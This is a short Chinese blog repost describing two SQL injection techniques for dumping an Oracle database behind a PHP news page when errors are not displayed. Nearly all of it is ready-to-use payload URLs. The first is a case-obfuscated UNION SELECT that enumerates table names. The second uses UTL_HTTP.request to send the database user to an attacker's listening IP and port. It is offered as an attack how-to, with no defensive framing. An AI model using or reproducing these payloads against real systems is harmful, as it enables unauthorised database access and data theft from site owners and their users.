无显错情况下的暴库方法

最新推荐文章于 2022-04-01 17:55:05 发布

转载最新推荐文章于 2022-04-01 17:55:05 发布 · 342 阅读

文章标签：

#null #user #table

本文介绍两种SQL注入攻击的方法，通过构造特定的SQL语句来获取数据库中的信息。第一种方法利用了union select来展示数据，第二种方法则使用了HTTP请求进行数据泄露。

第一种方法
http://www.xxox.cn/mickey/news.php?id=25190′ aNd 1=2 unIon all selEct null,cHr(33)||data||cHr(33),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from (selEct rownum as limit,table_name as data from user_tables) whEre limit=22–
第二种方法
http://www.xxox.cn/mickey/news.php?id=25190 and UTL_HTTP.request(‘http://你本地监听的IP地址和端口/’||(select user from dual))>0–